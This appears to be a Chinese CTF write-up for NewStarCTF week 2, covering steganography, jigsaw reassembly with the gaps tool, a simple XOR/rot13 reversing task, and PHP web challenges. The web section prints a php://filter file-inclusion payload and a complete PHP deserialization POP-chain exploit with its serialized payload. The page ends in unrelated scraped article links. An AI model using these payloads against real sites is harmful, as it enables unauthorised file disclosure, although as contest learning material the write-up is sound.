额。。又是我哦,这次难度对于我来说有点高,一共就做出来这几个,属实有点少,作为菜鸡的我来给大家讲讲我的思路。。。。

CRYPTO

一个还没做出来,还正在研究

MISC

Yesec no drumsticks 2

感觉这个内容已经有点提示的味道了,内心莫,肯定是藏在你看不到的地方。

我怀疑这个出题人是写小说的,这么会写,不过像这种没有什么东西,可以尝试空白符,空白符解密

这不就来了吗,base64解密得到flag

Coldwinds's Desktop

给了一个文件夹里面都是这种碎片,应该是拼图,先看看有多少张小图片,我算了一下,114张,每张小图片的像素为30*30,下面有用。

把文件夹放到kali中,需要

没有的这个命令的自己下
apt-get install graphicsmagick-imagemagick-compat要到有小碎片的目录下面*.PNG代表当前目录中所有PNG图片,12x12用到了,就是有144个小图片,生成图片交flag.png
montage *.PNG -tile 12x12 -geometry +0+0 flag.png    

接下来就可以在这个目录中找到生成的图片了

移到桌面吧,不容易出错

接下来用到gaps命令,没有自己下

git clone https://github.com/nemanja-m/gaps.git #gaps官网
cd gaps
pip install -r requirements.txt
sudo apt-get install python-tk
pip install -e .

pip install -r requirements.txt这一步经常有人出错,给大家总结一下原因

1.没有这些模块,numpy 、opencv-python 、matplotlib 、pytest 、 pillow需要大家自己下

2.requirements.txt中对应的版本不对

解决:

哪些模块吗,自己下一下,用pip下载就行版本号一定要很详细,使用命令pip list查看自己模块的版本
在vim requirements.txt修改版本号就行了

这是我的版本,大家不要和抄我的,要看自己的版本。。。。。

命令这么用

gaps --image=flag.png --size=30 --population=144 --generations=64 --save
flag.png一定要在当前目录下面,30用到了,代表每一个小碎片的大小,144是代表有144个小图片,64那个不用管自己可以随便改的,--save恢复

这是我的图片还不是很明显,大家可以改那个64来获取不同的图片,来补满自己的flag就行了

REVERSE

前可见古人,后得见来者

就会这一个。。。。。。

32位的,没有壳

这里提醒大家这个是用,ida7.7版本的,不同版本看到的东西不一样。。。。。。。。

接下来用32位打开

先找main函数

shift+F12先看一下

这里好像有关于flag的信息,去看一下

随便点两下,然后来到这

按F5

这是他的一个运行,我们找一下他的加密在哪

sub_4113DE点进去再点进去

我们知道这里加密有两个for,而且这两个for是在相同级别的,所以上面那个for太麻烦了,我们看下嘛这个他进行了一个异或的操作和0x22这u应该没关系

我们找一下密文进行操作一下

这里还有点a,得到完整的密文

shift+e提取出来

浅浅解一下

这一串熟不熟悉,rot13就行或者凯撒也行

WEB

Word-For-You(2 Gen)

sqlmap一把梭,欧克欧克

IncludeOne

我感觉这个挺简单的其实,还给了工具

先看代码

 <?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){//flag in `flag.php`include($_GET['file']);}else{echo "Baby Hacker?";}
}else{echo "No Hacker!";
} Hint: 1219893521
No Hacker!

获取种子,来找下一个随机值

像这样都试试莫

得到了1202031004,post传就行

看看下一个

 if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file']))

过滤了base,必须有NewStar,file不能为空

挺简单的

PHP://filter/read=string.rot13|NewStar|/resource=flag.php

然后看源代码

得到flag,需要rot13解密

UnserializeOne

代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{public $name;protected $func;public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec{private $obj;private $var;public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo file_get_contents('/flag');}
}class Easy{public $cla;public function __call($fun, $var){$this->cla = clone $var[0];}
}class eeee{public $obj;public function __clone(){if(isset($this->obj->cmd)){echo "success";}}
}if(isset($_POST['pop'])){unserialize($_POST['pop']);
}

我的思路是Start的__destruct()调用Sec的__toString(),__toString()调用Easy的__call(),__call()复制调用eeee的__clone(),__clone()的isset调用Start的__isset,__isset调用Sec的__invoke获取flag

这么写

<?phpclass Start
{public $name;public $func;public function __destruct(){echo "Welcome to NewStarCTF, ".$this->name;}public function __isset($var){($this->func)();}
}class Sec
{public $obj;public $var;public function __construct($a, $b){$this->obj=$a;$this->var=$b;}public function __toString(){$this->obj->check($this->var);return "CTFers";}public function __invoke(){echo "afdfdsaf";}
}class Easy
{public $cla;public function __call($fun, $var){echo $this->cla = clone $var[0];}
}class eeee
{public $obj;public function __clone(){if (isset($this->obj->cmd)) {echo "success";}}
}
$a=new Start();$b=new Easy();
$c=new eeee();$c->obj=$a;
$d=new Sec($b, $c);$a->name=$d;
$a->func=$d;echo serialize($a);

我这里设置了一个这个,只要到这输出了这一串,就肯定可以执行那个

payload: pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

NewStarCTF 公开赛赛道 第二周学习记录相关推荐

  1. NewStarCTF 公开赛赛道 第一周Web题目

    目录 我真的会谢 NotPHP Word-For-You 我真的会谢 进入页面 flag被藏在了三个部分,从意思上来分析应该是信息泄露题.可以看这个链接:CTF信息泄露总结 - 码农教程 查看源码 猜 ...

  2. LINUX内核分析第二周学习总结——操作系统是如何工作的

    LINUX内核分析第二周学习总结--操作系统是如何工作的 张忻(原创作品转载请注明出处) <Linux内核分析>MOOC课程http://mooc.study.163.com/course ...

  3. 20172325 2018-2019-1 《Java程序设计》第二周学习总结

    20172325 2018-2019-1 <Java程序设计>第二周学习总结 教材学习内容总结 3.1集合 集合是一种聚集.组织了其他对象的对象.集合可以分为两大类:线性集合和非线性集合. ...

  4. 20169220 网络攻防实践 第二周学习总结

    20169220 赵京鸣 2016/2017-2 第二周学习总结 进度:1.教材第1-2章/12章 2.Kali教学视频1-5/36 3.查找2个安全工具/5 4.国内外黑客.电影书籍了解 5.lin ...

  5. 2022 七校联合NewStarCTF 公开赛赛道 WEEK3|MISC

    1.Whats HTTP 2.qsdz's girlfriend 3 3.WebShell! hint提示蚁剑,根据流量包大小排序,逐个打开看 4.Yesec no drumsticks 3 压缩包第 ...

  6. Linux第二周学习笔记(7)

    Linux第二周学习笔记(7) 2.13 文档查看cat_more_less_head_tail (1). cat命令 cat命令:用于查看一个文件的内容并将其显示在屏幕上 cat-A命令:显示所有的 ...

  7. 机电传动控制第二周学习笔记

    机电传动控制第二周学习笔记 经过第二周的学习,我了解了电机的发展历史.从奥斯特发现电生磁的现象,到法拉第电磁回转实验,再到后来的电机一步步的发展至今.它充满了巧合,但是它又必然一步步向更完美走去.电机 ...

  8. Linux第二周学习笔记(11)

    Linux第二周学习笔记(11) 2.17 隐藏权限lsattr_chattr chattr命令:是设置吟唱隐藏权限的命令,更改Linux文件系统上的文件属性. 参数说明: A:表示文件或目录的ati ...

  9. 20155303 2016-2017-2 《Java程序设计》第二周学习总结

    20155303 2016-2017-2 <Java程序设计>第二周学习总结 教材学习内容总结 『注意』 "//"为单行批注符: "/*"与&quo ...

最新文章

  1. golang 调用c代码
  2. 前端程序员容易忽视的一些基础知识
  3. 7-6 列出连通集 (25 分)(C语言实现)
  4. 如何在不同开发语言中使用绑定变量_linux C/C++服务器后台开发面试题总结(编程语言篇)...
  5. asp.NET去掉form的runat=server照样使用服务器控件,包括表单的服务器控件
  6. 计算机硬件中板卡目前设备有哪几种,呼叫中心所需的硬件设备都有哪些?
  7. nginx相关概念——负载均衡和动静分离
  8. C/C++中使用可变参数
  9. 如何在 Mac 上忘记 Wi-Fi 网络?
  10. oracle数据存入临时表,ORACLE数据库临时表总结
  11. 罚函数法约束函数优matlab,外点惩罚函数法matlab
  12. 中兴新支点操作系统上的文件小贴士
  13. 点云的降采样:八叉树采样(Octree)
  14. 加解密QQ旋风和迅雷链接地址
  15. tRNAscan-SE使用说明
  16. python迭代器的用法_python的装饰器,迭代器用法
  17. Typora+PciGo-Core+SMMS自动上传图片
  18. 促进目标实现的激励技巧
  19. Jexl表达式引擎(1)
  20. pandas表格-拆分Excel的单元格为多行,将多行数据汇聚到一行用分隔符号分开

热门文章

  1. 经典案例:卖票问题【线程同步】
  2. 教你如何显示隐藏文件
  3. 用python打印购物小票和证书
  4. 小白学习Spark04-Spark调优与调试
  5. 部署vue element-ui admin报错(vue2)
  6. BigDecimal 进行四舍五入 四舍六入和保留两位小数,三位四位小数
  7. Win7的77个小知识不容错过
  8. SQL 的日期函数 day() 、month()、year()
  9. 基于51单片机的实时多任务操作系统(RTX51)使用教程
  10. 新松机器人BG总裁高峰_曲道奎总裁出席2019中国国际机器人与智能制造发展高峰论坛 新松荣获“金手指奖”...